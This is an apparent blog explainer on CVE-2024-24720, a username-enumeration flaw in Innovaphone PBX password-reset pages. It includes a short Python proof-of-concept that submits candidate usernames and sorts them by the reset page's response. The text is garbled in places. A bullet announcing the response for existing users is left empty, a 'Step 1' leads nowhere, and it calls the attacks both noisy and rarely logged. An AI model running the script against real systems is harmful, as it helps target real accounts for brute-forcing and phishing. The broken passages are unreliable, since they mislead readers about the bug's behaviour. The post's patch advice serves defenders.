A recently discovered security flaw, CVE-2024-24720, affects Innovaphone PBX appliances (before version 14r1). The vulnerability is surprisingly simple—but still quite dangerous. Here’s a long-form, easy-to-read guide to what happened, why it matters, and how it could be exploited, using simple examples and real-world code snippets.

What Is CVE-2024-24720?

In short, this is an information disclosure bug in Innovaphone’s “Forgot Password” page. It lets attackers figure out which usernames actually exist on a PBX system just by sending a password reset request. That’s a classic *user enumeration* issue.

Why does this matter?
It helps attackers narrow down their username guessing games, making brute-force or targeted phishing attacks much easier.

How Does the Bug Work?

Most password-reset forms should return the *same response* every time, so attackers can’t tell whether an email/user actually exists. But in Innovaphone PBX (before 14r1), you get different responses depending on whether the user exists.

- If the user/email exists:

Where Did This Vulnerability Appear?

- Products affected: Innovaphone PBX hardware/software (before 14r1)

Vulnerable function: “Forgot password” page (web interface)

- CVE link: NIST NVD - CVE-2024-24720
- Vendor advisory: Innovaphone Security Advisories

Proof of Concept: Example Exploit

Here’s a Python example of how an attacker could "harvest" valid usernames through this vulnerability:

import requests

# Target URL for the PBX reset function
target_url = 'https://pbx.example.com/forgot_password';

# List of usernames/emails to try
usernames = ['alice', 'bob', 'admin', 'jdoe']

for user in usernames:
    data = {
        'username': user,
        # Or 'email' if that's what the form requires
    }
    resp = requests.post(target_url, data=data)
    if "does not exist" in resp.text:
        print(f"{user}: NOT FOUND")
    elif "reset link has been sent" in resp.text:
        print(f"{user}: EXISTS!")
    else:
        print(f"{user}: UNEXPECTED RESPONSE")

What’s happening here?
The script automates submitting usernames. If Innovaphone PBX leaks the “not found” message, the attacker instantly knows which accounts are valid.

Step 1: The attacker visits the Forgot Password page

They submit different possible usernames or emails (could be admin, sales, support).

What’s the Big Deal?

- Leakage of valid usernames: Helps hackers target real users in later attacks (like brute-forcing passwords or phishing).
- Noisy attacks possible: These enumeration attacks rarely get logged, and aren’t usually blocked.
- PBX systems are high-value: They control phones, voicemail, and sometimes internal business operations.

How Was It Fixed?

Innovaphone PBX version 14r1 patched this issue, making the reset feature return a generic response every time.

So, whether your username is right, wrong, or upside-down, you just see

> “If an account with that username exists, you’ll get a reset email.”

If you’re running an older version: upgrade now!

- NVD CVE-2024-24720
- Innovaphone Security Advisory Page
- OWASP Authentication Cheat Sheet

Summary

CVE-2024-24720 is a classic example of how even minor oversights in user feedback can expose sensitive information. If you run Innovaphone PBX, make sure you’re updated to 14r1 or later. Never let your forgot-password page leak who’s in your system—and never treat information disclosure as a minor bug. It’s often the first step for an attacker!

Stay safe! 🚨

*(This post was written using open vulnerability information as of June 2024. If you maintain an Innovaphone PBX, check with your vendor for the absolute latest patches and advice.)*

Timeline

Published on: 02/27/2024 01:15:07 UTC
Last modified on: 08/14/2024 15:35:05 UTC